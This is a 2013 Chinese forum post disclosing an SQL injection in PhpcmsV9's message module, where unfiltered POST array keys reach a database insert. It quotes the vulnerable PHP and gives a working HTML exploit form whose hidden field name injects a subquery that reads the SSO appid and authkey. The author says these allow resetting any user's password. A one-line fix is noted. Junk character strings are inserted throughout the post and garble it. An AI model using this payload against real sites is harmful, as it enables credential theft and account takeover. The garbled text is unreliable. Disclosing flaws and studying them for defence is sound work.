找回密码
 立即注册
查看: 2842|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
1 x7 W: T* d/ }, g  L3 s1 a6 |( i: [" i  l! ]  S
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
; F. r1 x2 ?! V% P6 z- {
, X& T: {) |! L" r' g2 I; T明天再更新下一个漏洞。
9 |% z+ w" J& ^' F9 v详细说明:
& r4 h8 E' O' r* |8 j. }在/phpcms9/phpcms/modules/message/index.php中有代码如下:) a9 m+ N- @$ }( t! h
5 C& T# y  W0 N- o- N" y
$messageid = $this->message_db->insert($_POST['info'],true);/ ]$ q1 |4 p/ v0 o( |

4 H  y  n9 e2 P, Z: u, ?6 x* L+ q! Z8 q
insert方法是key value的,代码如下:1 x0 ]; I  S' W2 m' M$ r
8 U+ x2 u5 ?2 A1 {  i* X
public function insert($data, $table, $return_insert_id = false, $replace = false) {
. i4 X7 z* @9 Y/ _                if(!is_array( $data ) || $table == '' || count($data) == 0) {
' N' L5 |* G6 o* J) }7 U                        return false;& ?( o/ D6 l3 O' Z
                }- h% s$ ]% O* s% G
                7 Q! f2 M2 T  t# G9 N" A
                $fielddata = array_keys($data);
3 N9 Q4 A& |* G& ]                $valuedata = array_values($data);
7 ]5 u, E! V1 B" ^; `                array_walk($fielddata, array($this, 'add_special_char'));
9 ?2 X/ i) k; e% T' D1 @1 T                array_walk($valuedata, array($this, 'escape_string'));2 P( Y; B+ s7 \7 T" z
               
- X# r+ Y4 T/ v0 [- j# _                $field = implode (',', $fielddata);+ ?% P- n3 a+ E( E
                $value = implode (',', $valuedata);; P+ T, f2 J' J" r
3 P5 `6 ^5 q. p# u% t( ~* N8 n
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
3 K5 p# x9 d8 O; ]$ Y                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';) O9 W2 L5 r! s0 C- D
                $return = $this->execute($sql);6 O. T4 b7 z% \7 i$ Q# z
                return $return_insert_id ? $this->insert_id() : $return;
: q3 a5 L* ?1 b6 t7 U' O        }: C& w1 L4 O0 ?$ h

8 J  f: ]( Y5 e) [8 _- v' P6 H1 t+ Y4 {3 i% y) o: A9 e: {3 @
嗯,很遗憾的是1 V, s+ c8 s6 J+ t

/ U0 ]4 l4 I- I" \. |array_walk($fielddata, array($this, 'add_special_char'));8 `3 v' F' `* t7 _% S
8 g& \- k- u) g2 ]) O
* V6 V6 _& D( a3 p, A# Y
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
! |# o+ V- {* V6 K7 Z# A/ t! _3 I- ]. r( f- g
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。+ d9 z) ?$ Q5 u; y+ s5 h$ U3 e: r

  Y9 v) h4 M. _9 k8 i漏洞证明:$ _" l5 \5 L. j8 d8 O3 \' R& |) {
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。' q4 c5 g* Q6 ?7 t' C1 b9 Q

/ g6 m3 _% q' B, Y
1 e$ N# ~, \- l( {' ]' {! d表单如下:用户名什么的得自己改一改。% [0 k; M3 w$ T# X1 P- h& t
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
% i: Q0 L. U* W' [8 `  p/ h<table width="100%" cellspacing="0" class="table_form">1 Z1 X! x2 g1 {& z7 T
<tr>
. h7 s! {( j% x2 r8 W1 {( B! ~. [& O<th>标 题:</th>$ B3 p, `) O1 K! |% b5 Y" j# _
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
. P9 O: Q) d6 Q( U. ^</tr> ' b) X  Q8 L- E: p
<tr>! Q, p3 p- l, Y3 x3 H9 j
<th>内 容:</th>4 T5 r! ?9 r, e8 J/ a
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
* s8 i5 n. U  s" t</tr>2 M0 `1 i4 O+ `' n- t' l* j
<input type="hidden" name="info[replyid]" value="2" />
! J9 h. T  p) O# k+ m<input type="hidden" name="info[send_to_id]" value="cc" />
6 y3 D' N% P% L) D- A<input type="hidden" name="info[send_from_id]" value="hh">
0 }. D1 z' X7 r4 y6 a<!-- 漏洞的利用重点在这里开始 -->2 D+ U; w8 H0 L
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 V5 S- C. ^: s) n  O<!-- 漏洞的利用重点在这里结束 -->$ e" C& w3 M; }' d
<tr>% |4 B5 r# o4 V& e' \
<th>验证码:</th>! ]% h- E5 ~' w  O) }! j
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 h3 Z6 ~$ v, R3 J: K0 I
</tr>3 F! M" W9 x& E4 G: C% M$ X
<tr>0 }# _9 x- x% k( r; r) s
<td></td># h# r4 _; Q: \9 X1 h- ]1 [
<td colspan="2"><label>" k5 M4 W& b+ ~) S
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 U8 F6 g0 p! c3 v3 }
</label></td>
$ a/ [; G+ J8 n9 d; }5 Z</tr>
) H2 ^# A3 m. k& o</table>
! a$ G2 u) l; w4 g</form>; L& Q) x! K/ F2 w( p3 ~
在add_special_char函数内对key做过滤就可以了。: S/ c* a5 E4 `4 K0 p
8 I3 ?" Y5 L5 \, `
' b+ }* R  `8 w5 Q+ ?( l

! w7 K- M( }+ e' n

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表